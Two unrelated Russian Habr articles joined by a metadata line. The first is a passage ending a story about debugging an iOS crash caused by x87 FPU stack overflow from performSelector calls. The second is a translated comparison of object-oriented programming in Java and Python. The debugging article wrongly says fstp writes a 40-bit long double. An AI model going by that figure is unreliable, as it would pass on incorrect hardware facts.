Размещался он в одном из **st** регистров FPU процессора. Так как я не знал, что это за регистры, пришлось полезть в [документацию от Intel'а](http://download.intel.com/products/processor/manual/325462.pdf). Согласно документации, группа регистров **st0-st7** являются циклическим стэком для FPU, через который работают инструкции процессора, отвечающие за операции с плавающей запятой. Все стало проясняться. Кто-то кладет в FPU стэк значение *NaN*, а затем снимает его, как результат операции. Осталось найти только, кто это делает.
Около часа я убил на внезапно появившийся кусок магии, который объяснялся простым «читайте документацию внимательно». Проявлялась эта магия следующим образом. «Неправильно» работала инструкция **fstp** (страница 190). Команда должна выполнять следующие операции: Взять текущее значение с вершины FPU стэка **st0**, записать его по указанному адресу (в моем случае — в **$ebp-0x64**), и вытолкнуть значение с FP стэка.
Вот только после выполнения этой инструкции, по адресу **$ebp+0x64** оказывался 0, вместо нужного мне значения 320.
Перед выполнение команды **fstp**
После выполнения команды **fstp**
Внимательные знатоки, наверное, уже видят проблему. Те, кто хотят сами убедиться в таком поведении — можете скачать тестовый проект, и поставить точку останова на функцию *WebCore::TileGrid::updateHostLayerSize ()*. Внутри нее достаточно легко найти нужный кусок. Кому просто интересна причина моего провтыка — смело раскрывайте спойлер.
**А $ebp-0x64, говорят, не настоящий!** Причина в типах данных. Команда **fstp** записывает в память 40-битное чилсо с плавающей запятой, что в простонародье обозначется как **long double**. В данном примере в дебаггере я смотрю на правильный адрес, вот только показываю не **40** бит, а **32** бита. Все стало на свои места, когда я указал правильный тип данных. Ошибка, которая стоила мне полутора часов поиска, могла бы и не возникнуть, если бы я внимательнее прочитал документацию. Мораль: читайте документацию. Она полезна и экономит время.
#### Stack overflow?
После того, как я разобрался с **fstp**, и **fld**. Я снова стал искать различия. И так как я уже точно знал, что причина не связана со стэком, то я сконцентрировался на значениях регистров процессора. И здесь нашлись отличия. И даже стало понятно, откуда берется *NaN*. Сначала я глянул на регистр **$ftag**, значение которого сразу сказало мне о наличи чего-то нехорошего в регистрах FPU стэка(стр 182).
Это можно, было, конечно, наблюдать, просто глянув в **$st0-$st7**, но **$ftag** позволяет узнать, в каком состоянии на данный момент находятся регистры — какие используются, какие заняты, а какие — пустые. В примере видно, что все регистры заняты (valid), и только в одном из них что-то особенное.
Но окончательно все вопросы относительно магии развеялись, когда я увидел значения регистра **$fstat**(x87 FPU Status Register, стр 178).
#### Stack overflow
Stack overflow в FPU регистрах процессора. На самом деле stack overflow сам по себе не вызывает никаких исключений, и всего лишь выставляет флаг в контрольном слове, о том, что произошло исключение.
> If the invalid-operation exception is masked, the x87 FPU returns the floating point, integer, or packed decimal integer indefinite value to the destination operand, depending on the instruction being executed. This value over- writes the destination register or memory location specified by the instruction.
Но, если использовать значение регистра с состоянием invalid, мы получим *NaN*, который, оказавшись в памяти, приходит как параметр при создании *CALayer*'а.
Итак, на самый нижний уровень проблемы я спустился. Я точно знал откуда появляются магические *NaN*ы, в программе, и о stack overflow в стэковых регистрах FPU. Вот только ответа, где и когда это происходит у меня не было. В голове снова родилась идея, что это лажает *UIKit*, но без доказательств претензии не предъявишь. С другой стороны у меня совсем не было идей, каким образом код может вызывать FPU Stack Overflow(о существовании которого я узнал в тот день).
#### Виновник
За относительно небольшое время все-таки была локализована функция, которая была виновником всего происходящего. Вот он, виновник всего происходящего!
```
// ACLabel : UILabel
- (CGFloat)resizeToContents {
CGSize size = [self.text sizeWithFont:self.font
forWidth:self.frame.size.width
lineBreakMode:self.lineBreakMode];
CGRect oldFrame = self.frame;
oldFrame.size.height = size.height;
self.frame = oldFrame;
return size.height;
}
```
Пытаетесь найти что-то страшное? Пытайтесь. Я тоже пытался. Долго и нудно. Переписывал метод, переименовывал, делал категорией. И все напрасно. Именно этот метод оставлял мусор в FPU Stack'е. Причем, магия приобрела новую форму. Один и тот же метод оставлял мусор в стэке через раз. То есть «иногда» метод нормально «снимал» значение с вершины стэка, а иногда он про него совсем забывал, и игнорировал, тем самым приближая крэш. Так что же с этим кодом не так?
> On systems based on the IA-32 architectures, when an application calls a function that returns a floating-point value, the returned floating-point value is supposed to be on the top of the floating-point stack. If the return value is not used, the compiler must pop the value off of the floating-point stack in order to keep the floating-point stack in the correct state.
«Как же мне от этого полегчало!» (сарказм). Теперь вектор вины плавно сместился с *UIKit*'а снова на компилятор. Ведь это он должен снять значение со FPU стэка! Должен, а не делает. Вернее делает… но не всегда. Так когда же?
#### За шаг до победы
А я Вам отвечу на этот вопрос. Но для начала у меня небольшой вопрос: «Идентичны ли строки, приведенные в примере?»
```
// Пример безобидного вызова метода
// Вариант №1
[obj someMethod];
// Вариант №2
[obj perfromSelector:@selector(someMethod)];
```
Простой такой вопрос. Его даже на собеседованиях иногда задают. И даже сходу не скажешь, что они могут работать по-разному. Ведь, по сути, это одно и то же, только вид сбоку. Правда, пример сильно упрощен в виду отсутствия факта о том, что возвращают данные методы. Подразумевается, что возвращают они *void*. А если бы методы возвращали *id*, или *int* или *float*. Поменялось бы что-нибудь?
Пока Вы думаете над ответом на вопрос, я дам небольшую выдержку из документации:
> The performSelector: method is equivalent to sending an aSelector message directly to the receiver. For example, all three of the following messages do the same thing:
```
id myClone = [anObject copy];
id myClone = [anObject performSelector:@selector(copy)];
id myClone = [anObject performSelector:sel_getUid("copy")];
```
> . For methods that return anything other than an object, use NSInvocation.
Когда зацепка выделена жирным шрифтом, то, конечно, ее замечают. Документация довольно понятно намекает, что если вдруг метод должен возвращать что-то кроме *id*, нам нужно использовать *NSInvocation*. Но я скажу, что даже если возвращать не объект, то все работает. Работало, во всяком случае. До того злосчастного дня.
#### Profit
Наверное, многие уже догадались, что здесь происходит. Все достаточно просто (особенно, после прочтения статьи, ну или двух с половиной дней игр с dtrace'ом, debugger'ом, копанием в документации и прочим).
1. Компилятор, видит метод, который должен вернуть **float**, и исправно генерирует код, который после вызова метода, снимает возвращенное значение со стэка FPU.
2. В случае с использованием метода *performSelector*, компилятор не знает, что возвращает метод, поэтому надеется на добросовестность программиста — считает, что метод будет возвращать *id*.
3. В случае, если в коде используется *performSelector* для метода, который должен вернуть **float** (даже если не использовать возвращенный результат), то компилятор не знает о том, что надо снимать возвращенное значение со стэка FPU. Так что, при каждом вызове *return-float-метода* через *performSelector*, «забивается» один из регистров стэка FPU.
4. После восьми таких вызовов (8 st-регистров), процессор поставит флаг о том, что стэк переполнен, и некоторые обычные операции с плавающей запятой начинают возвращать *NaN* в качестве результата. Это, в свою очередь, приводит к чему угодно. Вплоть до того, что за Вашей спиной может пробежать динозавр.
**Мораль**: Читайте документацию внимательно. Если что-то работает вопреки документации — не особо найдейтесь на то, что это не повлечет за собой большие проблемы.
#### NSLog
«Эй, эй, так что же там с NSLog'ом? Почему NSLog „лечит“ эту проблему?»
*NSLog* при своей работе использует операции с плавающей запятой. Причем, методом тыка было установлено, что для его работы нужно два регистра в стэке FPU. А стэк FPU, в случае полного заполнения, ставит соотвествующий флаг переполнения. А при операции, которая снимает значение со стэка, маркирует один из регистров стэка как «свободный для использования».
```
// Tag word (state of st0 - st7 registers)
// 00 - Used
// 10 - Invalid
// 11 - Unused
// before NSLog
st0 st1 st2 st3 st4 st5 st6 st7
10 00 00 00 00 00 00 00
// After NSLog
st0 st1 st2 st3 st4 st5 st6 st7
11 11 00 00 00 00 00 00
```
Вот таким образом с регистра **st0** исчезает состояние Invalid, из-за этого никто при попытке забрать с него значение не получает *NaN*, и не передает его дальше как параметр к *UITextView*.
Так что, *NSLog* не лечит проблему. Он дает ей пожить еще немного, откладывая смерть приложения до времени под кодовым именем «Внезапно».
Вот такая вот «магия». Теперь можно смело писать в Вашем резюме строчку
> Лечу Crash'и NSLog'ами. Недорого. Многолетний опыт. 100% гарантия.
Надеюсь было не только интересно, но и в некоторых местах — познавательно.
P.S. Еще раз спасибо [darkproger](https://habrahabr.ru/users/darkproger/) и [vixentael](https://habrahabr.ru/users/vixentael/) за то, что помогали и выслушивали мой поток мыслей. | https://habr.com/ru/post/161921/ | null | ru | null |
# Объектно-ориентированное программирование в Java и Python: сходства и отличия
Привет, Хабр! Представляю вашему вниманию перевод статьи [“Object-Oriented Programming in Python vs Java”](https://realpython.com/oop-in-python-vs-java/) автора Джона Финчера.
Реализация объектно-ориентированного программирования (ООП) в языках Java и Python отличается. Принцип работы с объектами, типами переменных и прочими языковыми возможностями может вызвать затруднение при переходе с одного языка на другой. В данной статье, которая может быть полезной как для Java-программистов, желающих освоить Python, так и для Python-программистов, имеющих цель лучше узнать Java, приводятся основные сходства и отличия этих языков, применительно к ООП.
Подробнее – под катом.
Примеры классов в Python и Java
-------------------------------
Для начала давайте реализуем простейший класс в Python и Java, чтобы проиллюстрировать некоторые отличия в этих языках, и будем постепенно вносить в этот класс изменения.
Представим, что у нас есть следующее определение класса Car в Java:
```
1 public class Car {
2 private String color;
3 private String model;
4 private int year;
5
6 public Car(String color, String model, int year) {
7 this.color = color;
8 this.model = model;
9 this.year = year;
10 }
11
12 public String getColor() {
13 return color;
14 }
15
16 public String getModel() {
17 return model;
18 }
19
20 public int getYear() {
21 return year;
22 }
23 }
```
Имя исходного Java-файла должно соответствовать имени хранящегося в нем класса, поэтому мы обязаны назвать файл Car.java. Каждый Java-файл может содержать только один публичный класс.
Такой же класс в Python будет выглядеть так:
```
1 class Car:
2 def __init__(self, color, model, year):
3 self.color = color
4 self.model = model
5 self.year = year
```
В Python вы можете объявить класс где угодно и когда угодно. Сохраним этот файл как car.py.
Используя эти классы как основу, продолжим исследование основных компонентов классов и объектов.
Атрибуты объекта
----------------
Во всех объектно-ориентированных языках данные об объекте где-то хранятся. И в Python, и в Java эти данные хранятся в **атрибутах**, которые являются переменными, связанными с конкретными объектами.
Одним из наиболее значительных отличий между Python и Java является то, как они определяют атрибуты класса и объекта и как эти языки управляют ими. Некоторые из этих различий вызваны ограничениями, налагаемыми языками, в то время как другие связаны с более эффективной практикой.
Объявление и инициализация
--------------------------
В Java мы объявляем атрибуты (с указанием их типа) внутри класса, но за пределами всех методов. Перед тем, как использовать атрибуты класса, мы должны их определить:
```
1 public class Car {
2 private String color;
3 private String model;
4 private int year;
```
В Python же мы объявляем и определяем атрибуты внутри метода класса **init**(), который является аналогом конструктора в Java:
```
1 def __init__(self, color, model, year):
2 self.color = color
3 self.model = model
4 self.year = year
```
Указывая перед именем переменных ключевое слово self, мы говорим Python-у, что это атрибуты. Каждый экземпляр класса получает свою копию. Все переменные в Python не типизированы (loosely typed), и атрибуты не являются исключением.
Переменные можно создать и за пределами метода **init**(), но это не будет лучшим решением и может привести к труднообнаруживаемым багам. Например, можно добавить объекту Car новый атрибут wheels следующим образом:
```
1 >>> import car
2 >>> my_car = car.Car("yellow", "beetle", 1967)
3 >>> print(f"My car is {my_car.color}")
4 My car is yellow
5
6 >>> my_car.wheels = 5
7 >>> print(f"Wheels: {my_car.wheels}")
8 Wheels: 5
```
Однако, если мы забудем указать в 6-й строке выражение my\_car.wheels = 5, то получим ошибку:
```
1 >>> import car
2 >>> my_car = car.Car("yellow", "beetle", 1967)
3 >>> print(f"My car is {my_car.color}")
4 My car is yellow
5
6 >>> print(f"Wheels: {my_car.wheels}")
7 Traceback (most recent call last):
8 File "", line 1, in
9 AttributeError: 'Car' object has no attribute 'wheels'
```
В Python если объявить переменную за пределами метода, то она будет рассматриваться как переменная класса. Давайте изменим класс Car:
```
1 class Car:
2
3 wheels = 0
4
5 def __init__(self, color, model, year):
6 self.color = color
7 self.model = model
8 self.year = year
```
Теперь изменится использование переменной wheels. Вместо обращения к ней через объект, мы обращаемся к ней, используя имя класса:
```
1 >>> import car
2 >>> my_car = car.Car("yellow", "beetle", 1967)
3 >>> print(f"My car is {my_car.color}")
4 My car is yellow
5
6 >>> print(f"It has {car.Car.wheels} wheels")
7 It has 0 wheels
8
9 >>> print(f"It has {my_car.wheels} wheels")
10 It has 0 wheels
```
Примечание: в Python обращение к переменной класса происходит по следующему синтаксису:
1. Имя файла, содержащего класс (без расширения .py)
2. Точка
3. Имя класса
4. Точка
5. Имя переменной
Поскольку мы сохранили класс Car в файле car.py, мы обращаемся к переменной класса wheels в 6-й строчке таким образом: car.Car.wheels.
Работая с переменной wheels, необходимо быть обратить внимание на то, что изменение значения переменной экземпляра класса my\_car.wheels не ведет к изменению переменной класса car.Car.wheels:
```
1 >>> from car import *
2 >>> my_car = car.Car("yellow", "Beetle", "1966")
3 >>> my_other_car = car.Car("red", "corvette", "1999")
4
5 >>> print(f"My car is {my_car.color}")
6 My car is yellow
7 >>> print(f"It has {my_car.wheels} wheels")
8 It has 0 wheels
9
10 >>> print(f"My other car is {my_other_car.color}")
11 My other car is red
12 >>> print(f"It has {my_other_car.wheels} wheels")
13 It has 0 wheels
14
15 >>> # Change the class variable value
16 ... car.Car.wheels = 4
17
18 >>> print(f"My car has {my_car.wheels} wheels")
19 My car has 4 wheels
20 >>> print(f"My other car has {my_other_car.wheels} wheels")
21 My other car has 4 wheels
22
23 >>> # Change the instance variable value for my_car
24 ... my_car.wheels = 5
25
26 >>> print(f"My car has {my_car.wheels} wheels")
27 My car has 5 wheels
28 >>> print(f"My other car has {my_other_car.wheels} wheels")
29 My other car has 4 wheels
```
На 2-й и 3-й строчках мы определили два объекта Car: my\_car и my\_other\_car.
Сначала свойство wheels у обоих объектов равно нулю. На 16-й строке мы установили переменную класса: car.Car.wheels = 4, у обоих объектов теперь по 4 колеса. Однако, затем когда на 24-й строке мы меняем свойство объекта my\_car.wheels = 5, свойство второго объекта остается нетронутым.
Это означает, что теперь у нас две различные копии атрибута wheels:
1. Переменная класса, которая применяется ко всем объектам Car
2. Конкретная переменная экземпляра класса, которая применяется только к объекту my\_car.
Из-за этого можно случайно сослаться не на тот экземпляр и сделать малозаметную ошибку.
В Java эквивалентом атрибута класса является статичный (static) атрибут:
```
public class Car {
private String color;
private String model;
private int year;
private static int wheels;
public Car(String color, String model, int year) {
this.color = color;
this.model = model;
this.year = year;
}
public static int getWheels() {
return wheels;
}
public static void setWheels(int count) {
wheels = count;
}
}
```
Обычно мы обращаемся к статичным переменным в Java через имя класса. Можно обратиться к ним и через экземпляр класса, как в Python, но это не будет лучшим решением.
Наш Java-класс начинает удлиняться. Одной из причин, почему Java «многословнее» Python-а, является понятие публичных (public) и приватных (private) методов и атрибутов.
Публичные и приватные
---------------------
Java управляет доступом к методам и атрибутам, различая **публичные** и **приватные** данные.
В Java ожидается, что атрибуты будут объявлены как приватные (или защищенные — protected, если нужно обеспечить к ним доступ потомкам класса). Таким образом мы ограничиваем доступ к ним извне. Чтобы предоставить доступ к приватным атрибутам, мы объявляем публичные методы, которые устанавливают или получают эти данные (подробнее об этом – чуть позже).
Вспомним, что в нашем Java-коде переменная color была объявлена приватной. Следовательно, нижеприведенный код не скомпилируется:
```
Car myCar = new Car("blue", "Ford", 1972);
// Paint the car
myCar.color = "red";
```
Если не указать уровень доступа к атрибутам, то по умолчанию он будет установлен как **package protected**, что ограничивает доступ к классам в пределах пакета. Если же мы хотим, что вышеуказанный код заработал, то придется сделать атрибут публичным.
Однако, в Java не приветствуется объявление атрибутов публичными. Рекомендуется объявлять их приватными, а затем использовать публичные методы, наподобие getColor() и getModel(), как и было указано в тексте кода выше.
В противоположность, в Python отсутствуют понятия публичных и приватных данных. В Python всё – публичное. Этот питоновский код сработает на ура:
```
>>> my_car = car.Car("blue", "Ford", 1972)
>>> # Paint the car
... my_car.color = "red"
```
Вместо приватных переменных в Python имеется понятие непубличных (**non-public**) переменных экземпляра класса. Все переменные, названия которых начинаются с одинарного подчеркивания, считаются непубличными. Это соглашение об именах нисколько не мешает нам обратиться к переменной напрямую.
Добавим следующую строку в наш питоновский класс Car:
```
class Car:
wheels = 0
def __init__(self, color, model, year):
self.color = color
self.model = model
self.year = year
self._cupholders = 6
```
Мы можем получить доступ к переменной \_cupholders напрямую:
```
>>> import car
>>> my_car = car.Car("yellow", "Beetle", "1969")
>>> print(f"It was built in {my_car.year}")
It was built in 1969
>>> my_car.year = 1966
>>> print(f"It was built in {my_car.year}")
It was built in 1966
>>> print(f"It has {my_car._cupholders} cupholders.")
It has 6 cupholders.
```
Python позволяет получить доступ к такой переменной, правда, некоторые среды разработки вроде VS Code выдадут предупреждение:
Кроме этого, в Python для того, чтобы скрыть атрибут, используется двойное подчеркивание в начале названия переменной. Когда Python видит такую переменную, он автоматически меняет ее название, чтобы затруднить к ней прямой доступ. Однако, этот механизм всё равно не мешает нам обратиться к ней. Продемонстрируем это следующим примером:
```
class Car:
wheels = 0
def __init__(self, color, model, year):
self.color = color
self.model = model
self.year = year
self.__cupholders = 6
```
Теперь если мы обратимся к переменной \_\_cupholders, мы получим ошибку:
```
>>> import car
>>> my_car = car.Car("yellow", "Beetle", "1969")
>>> print(f"It was built in {my_car.year}")
It was built in 1969
>>> my_car.year = 1966
>>> print(f"It was built in {my_car.year}")
It was built in 1966
>>> print(f"It has {my_car.__cupholders} cupholders.")
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'Car' object has no attribute '\_\_cupholders'
```
Так почему же атрибут \_\_cupholders не существует?
Дело вот в чем. Когда Python видит атрибут с двойным подчеркиванием в самом начале, он меняет его, добавляя в начало имя класса с подчеркиванием. Для того чтобы обратиться к атрибуту напрямую, необходимо также изменить имя:
```
>>> print(f"It has {my_car._Car__cupholders} cupholders")
It has 6 cupholders
```
Теперь возникает вопрос: если атрибут Java-класса объявлен приватным и атрибуту Python-класса предшествует в имени двойное подчеркивание, то как достучаться до этих данных?
Управление доступом
-------------------
В Java мы получаем доступ к приватным атрибутам при помощи **сеттеров** (setters) и **геттеров** (getters). Для того чтобы пользователь перекрасил-таки свою машину, добавим следующий кусок кода в Java-класс:
```
public String getColor() {
return color;
}
public void setColor(String color) {
this.color = color;
}
```
Поскольку методы getColor() и setColor() – публичные, то любой пользователь может вызвать их и получить / изменить цвет машины. Использование приватных атрибутов, к которым мы получаем доступ публичными геттерами и сеттерами, — одна из причин большей «многословности» Java в сравнении с Python.
Как было показано выше, в Python мы можем получить доступ к атрибутам напрямую. Поскольку всё – публичное, мы может достучаться к чему угодно, когда угодно и откуда угодно. Мы можем получать и устанавливать значения атрибутов напрямую, обращаясь по их имени. В Python мы можем даже удалять атрибуты, что немыслимо в Java:
```
>>> my_car = Car("yellow", "beetle", 1969)
>>> print(f"My car was built in {my_car.year}")
My car was built in 1969
>>> my_car.year = 1966
>>> print(f"It was built in {my_car.year}")
It was built in 1966
>>> del my_car.year
>>> print(f"It was built in {my_car.year}")
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'Car' object has no attribute 'year'
```
Однако бывает и так, что мы хотим контролировать доступ к атрибутам. В таком случае нам на помощь приходят Python-свойства (properties).
В Python **свойства** обеспечивают управляемый доступ к атрибутам класса при помощи декораторов (decorators). Используя свойства, мы объявляем функции в питоновских классах подобно геттерам и сеттерам в Java (бонусом идет удаление атрибутов).
Работу свойств можно увидеть на следующем примере класса Car:
```
1 class Car:
2 def __init__(self, color, model, year):
3 self.color = color
4 self.model = model
5 self.year = year
6 self._voltage = 12
7
8 @property
9 def voltage(self):
10 return self._voltage
11
12 @voltage.setter
13 def voltage(self, volts):
14 print("Warning: this can cause problems!")
15 self._voltage = volts
16
17 @voltage.deleter
18 def voltage(self):
19 print("Warning: the radio will stop working!")
20 del self._voltage
```
В данном примере мы расширяем понятие класса Car, включая электромобили. В строке 6 объявляется атрибут \_voltage, чтобы хранить в нем напряжение батареи.
В строках 9 и 10 для контролируемого доступа мы создаем функцию voltage() и возвращаем значение приватной переменной. Используя декоратор @property, мы превращаем его в геттер, к которому теперь любой пользователь получает доступ.
В строках 13-15 мы определяем функцию, так же носящую название voltage(). Однако, мы ее декорируем по-другому: [voltage](https://habr.com/ru/users/voltage/).setter. Наконец, в строках 18-20 мы декорируем функцию voltage() при помощи [voltage](https://habr.com/ru/users/voltage/).deleter и можем при необходимости удалить атрибут \_voltage.
Декорируемые функции носят одинаковые имена, указывая на то, что они управляют доступом к одному и тому же атрибуту. Эти имена функций также становятся именами атрибутов, используемых для получения их значений. Вот как это работает:
```
1 >>> from car import *
2 >>> my_car = Car("yellow", "beetle", 1969)
3
4 >>> print(f"My car uses {my_car.voltage} volts")
5 My car uses 12 volts
6
7 >>> my_car.voltage = 6
8 Warning: this can cause problems!
9
10 >>> print(f"My car now uses {my_car.voltage} volts")
11 My car now uses 6 volts
12
13 >>> del my_car.voltage
14 Warning: the radio will stop working!
```
Обратите внимание, что мы используем voltage, а не \_ voltage. Так мы указываем Python-у на то, что следует применять свойства, которые только что определили:
* Когда в 4-й строке выводим значение my\_car.voltage, Python вызывает функцию voltage(), декорированную @property.
* Когда в 7-й строке присваиваем значение my\_car.voltage, Python вызывает функцию voltage(), декорированную [voltage](https://habr.com/ru/users/voltage/).setter.
* Когда в 13-й строке удаляем my\_car.voltage, Python вызывает функцию voltage(), декорированную [voltage](https://habr.com/ru/users/voltage/).deleter.
Вышеприведенные декораторы дают нам возможность контролировать доступ к атрибутам без использования различных методов. Можно даже сделать атрибут свойством только для чтения (read-only), убрав декорированные функции @.setter и @.deleter.
self и this
-----------
В Java класс ссылается сам на себя, используя ключевое слово this:
```
public void setColor(String color) {
this.color = color;
}
```
this подразумевается в Java-коде. Его в принципе даже необязательно писать, кроме случаев, когда имена переменных совпадают.
Сеттер можно написать и так:
```
public void setColor(String newColor) {
color = newColor;
}
```
Поскольку в классе Car есть атрибут под названием color и в области видимости нет больше переменных с таким именем, ссылка на это имя срабатывает. Мы использовали ключевое слово this в первом примере для того, чтобы различать атрибут и параметр с одинаковым именем color.
В Python ключевое слово self служит аналогичной цели: обращение к членам-атрибутам, но в отличие от Java, оно **обязательно**:
```
class Car:
def __init__(self, color, model, year):
self.color = color
self.model = model
self.year = year
self._voltage = 12
@property
def voltage(self):
return self._voltage
```
Python требует написания self в обязательном порядке. Каждый self либо создает, либо обращается к атрибуту. Если мы пропустим его, то Python просто создаст локальную переменную вместо атрибута.
Отличие в том, как мы используем self и this в Python и Java, происходит из-за основных различий между двумя языками и от того, как они именуют переменные и атрибуты.
Методы и функции
----------------
Разница между рассматриваемыми языками заключается в том, что в Python есть функции, а в Java их нет.
В Python следующий код отработает без проблем (и используется повсеместно):
```
>>> def say_hi():
... print("Hi!")
...
>>> say_hi()
Hi!
```
Мы можем вызвать say\_hi() из любого места видимости. Эта функция не содержит ссылки на self, что означает, что это глобальная функция, а не функция класса. Она не сможет изменять или сохранять какие-нибудь данные какого-либо класса, но может использовать локальные и глобальные переменные.
В противоположность, каждая написанная нами строчка на Java принадлежит какому-нибудь классу. Функции не существует за пределами класса, и по определению все Java-функции — это методы. На Java ближе всего к чистой функции находится статичный метод:
```
public class Utils {
static void SayHi() {
System.out.println("Hi!");
}
}
```
Utils. SayHi() вызывается из любого места без предварительного создания экземпляра класса Utils. Поскольку мы вызываем SayHi() без создания объекта, ссылки this не существует. Однако, это всё равно не функция в том смысле, в котором является say\_hi() в Python.
Наследование и полиморфизм
--------------------------
Наследование и полиморфизм – две фундаментальные концепции в ООП. Благодаря первому, объекты получают (другими словами, наследуют) атрибуты и функциональные возможности других объектов, создавая иерархию от более общих объектов к более конкретным. Например, и класс Car (машина), и класс Boat (лодка) являются конкретными типами класса Vehicle (транспортное средство). Оба объекта наследуют поведение одного родительского объекта или множества родительских объектов. В этом случае их называют дочерними объектами.
Полиморфизм, в свою очередь, — это возможность работы с разными объектами с помощью одной и той же функции или метода.
Обе эти фундаментальные ООП-концепции реализованы в Java и Python совершенно по-разному.
Наследование
------------
Python поддерживает множественное наследование, то есть создание класса более чем от одного родителя.
Чтобы продемонстрировать это, разделим класс Car на две категории: одну – для транспортных средств и одну – для машин, использующих электричество:
```
class Vehicle:
def __init__(self, color, model):
self.color = color
self.model = model
class Device:
def __init__(self):
self._voltage = 12
class Car(Vehicle, Device):
def __init__(self, color, model, year):
Vehicle.__init__(self, color, model)
Device.__init__(self)
self.year = year
@property
def voltage(self):
return self._voltage
@voltage.setter
def voltage(self, volts):
print("Warning: this can cause problems!")
self._voltage = volts
@voltage.deleter
def voltage(self):
print("Warning: the radio will stop working!")
del self._voltage
```
В классе Vehicle определены атрибуты color и model. В классе Device имеется атрибут \_voltage. Класс Car происходит от этих двух классов, и атрибуты color, model и \_voltage теперь являются частью нового класса.
В методе **init**() класса Car вызываются методы **init**() обоих родительских классов, чтобы все данные проинициализировались должным образом. После этого мы можем добавить классу Car любую желаемую функциональность. В данном примере мы добавим атрибут year, а также геттер и сеттер для \_voltage.
Функциональность нового класса Car осталась прежней. Мы можем создавать и использовать объекты класса, как это делали несколькими примерами ранее:
```
>>> from car import *
>>> my_car = Car("yellow", "beetle", 1969)
>>> print(f"My car is {my_car.color}")
My car is yellow
>>> print(f"My car uses {my_car.voltage} volts")
My car uses 12 volts
>>> my_car.voltage = 6
Warning: this can cause problems!
>>> print(f"My car now uses {my_car.voltage} volts")
My car now uses 6 volts
```
Язык Java же, в свою очередь, поддерживает только одиночное наследование, что означает, что классы в Java могут наследовать данные и поведение только от одного родительского класса. Зато в Java возможно наследование от множества интерфейсов. Интерфейсы обеспечивают группу связанных методов, которые нужно реализовать, позволяя дочерним классам вести себя сходным образом.
Чтобы увидеть это, разделим Java-класс Car на родительский класс и интерфейс:
```
public class Vehicle {
private String color;
private String model;
public Vehicle(String color, String model) {
this.color = color;
this.model = model;
}
public String getColor() {
return color;
}
public String getModel() {
return model;
}
}
public interface Device {
int getVoltage();
}
public class Car extends Vehicle implements Device {
private int voltage;
private int year;
public Car(String color, String model, int year) {
super(color, model);
this.year = year;
this.voltage = 12;
}
@Override
public int getVoltage() {
return voltage;
}
public int getYear() {
return year;
}
}
```
Не забываем, что каждый класс и каждый интерфейс в Java должны быть размещены в своем собственном файле.
Как и в вышеприведенном примере с Python, мы создаем новый класс Vehicle для хранения общих данных и функционала, присущих транспортным средствам. Однако для добавления функциональных возможностей Device нам нужно создать интерфейс, определяющий метод получения напряжения (voltage) устройства.
Класс Car создается путем наследования от класса Vehicle с использованием ключевого слова extends и реализации интерфейса Device с использованием ключевого слова implements. В конструкторе класса мы вызываем конструктор родителя при помощи super(). Поскольку родительский класс только один, мы обращаемся к конструктору класса Vehicle. Для реализации интерфейса переопределяем getVoltage() с помощью аннотации [Override](https://habr.com/ru/users/override/).
Вместо повторного использования кода из Device, как это делается в Python, Java требует, чтобы мы реализовывали один и тот же функционал в каждом классе, который реализует интерфейс. Интерфейсы всего лишь определяют методы — они не могут определять данные экземпляра класса или детали реализации.
Так почему же это происходит с Java? Причина кроется в типах данных и проверке типов.
Типы данных и полиморфизм
-------------------------
Каждый класс и каждый интерфейс в Java имеет тип. Следовательно, если два Java-объекта реализуют один и тот же интерфейс, считается, что они имеют один и тот же тип по отношению к этому интерфейсу. С помощью этого механизма можно взаимозаменяемо использовать различные классы, в чем и заключается полиморфизм.
Реализуем зарядку устройства для наших Java-объектов при помощи создания метода charge(), который принимает в качестве параметра переменную типа Device. Любой объект, реализующий интерфейс Device, может быть передан методу charge().
Создадим следующий класс в файле под названием Rhino.java:
```
public class Rhino {
}
```
Теперь создадим файл Main.java с методом charge() и посмотрим, чем отличаются объекты классов Car и Rhino.
```
public class Main{
public static void charge(Device device) {
device.getVoltage();
}
public static void main(String[] args) throws Exception {
Car car = new Car("yellow", "beetle", 1969);
Rhino rhino = new Rhino();
charge(car);
charge(rhino);
}
}
```
```
Вот что мы получим, когда попытаемся скомпилировать код:
Information:2019-02-02 15:20 - Compilation completed with
1 error and 0 warnings in 4 s 395 ms
Main.java
Error:(43, 11) java: incompatible types: Rhino cannot be converted to Device
```
Поскольку в классе Rhino не реализован интерфейс Device, его нельзя передать в качестве параметра в charge().
В отличие от статической типизации (в оригинале — strict variable typing, то есть строгая типизация, но Python тоже относится к языкам со строгой типизацией) переменных, принятой в Java, в Python используется концепция **утиной типизации**, которая в общем виде звучит так: если переменная «ходит как утка и крякает как утка, то это и есть утка» (на самом деле звучит немного иначе: "если нечто выглядит как утка, плавает как утка и крякает как утка, то это, вероятно, и есть утка" – прим. переводчика). Вместо идентификации объектов по типу, Python проверяет их поведение.
Лучше понять утиную типизацию поможет следующий аналогичный пример зарядки устройства на Python:
```
>>> def charge(device):
... if hasattr(device, '_voltage'):
... print(f"Charging a {device._voltage} volt device")
... else:
... print(f"I can't charge a {device.__class__.__name__}")
...
>>> class Phone(Device):
... pass
...
>>> class Rhino:
... pass
...
>>> my_car = Car("yellow", "Beetle", "1966")
>>> my_phone = Phone()
>>> my_rhino = Rhino()
>>> charge(my_car)
Charging a 12 volt device
>>> charge(my_phone)
Charging a 12 volt device
>>> charge(my_rhino)
I can't charge a Rhino
```
charge() проверяет существование в объекте атрибута \_voltage. Поскольку в классе Device имеется такой атрибут, то и в любом его классе-наследнике (Car и Phone) тоже будет этот атрибут, и, следовательно, этот класс выведет сообщение о зарядке. У классов, которые не унаследовались от Device (как Rhino), не будет этого атрибута, и они не будут заряжаться, что хорошо, поскольку для жизни носорога (rhino) электрическая зарядка смертельно опасна.
Дефолтные методы
----------------
Все классы в Java имеют своим предком класс Object, который содержит определенный набор методов и передает их своим потомкам. Потомки могут эти методы либо переопределять, либо использовать по умолчанию. Класс Object включает в себя следующие методы:
```
class Object {
boolean equals(Object obj) { ... }
int hashCode() { ... }
String toString() { ... }
}
```
По умолчанию equals() сравнивает адреса в памяти текущего объекта с объектом, переданным в качестве параметра, hashCode() вычисляет уникальный идентификатор, который так же использует адрес в памяти текущего объекта. Эти методы активно используются в Java в различных контекстах. Например, коллекциям, которые сортируют объекты на основе их значений, нужны оба этих метода.
toString() возвращает строковое представление объекта. По умолчанию это имя класса и адрес в памяти. Этот метод вызывается автоматически, когда объект передается в качестве параметра в метод, требующий строковый аргумент, например, System.out.println():
```
Car car = new Car("yellow", "Beetle", 1969);
System.out.println(car);
```
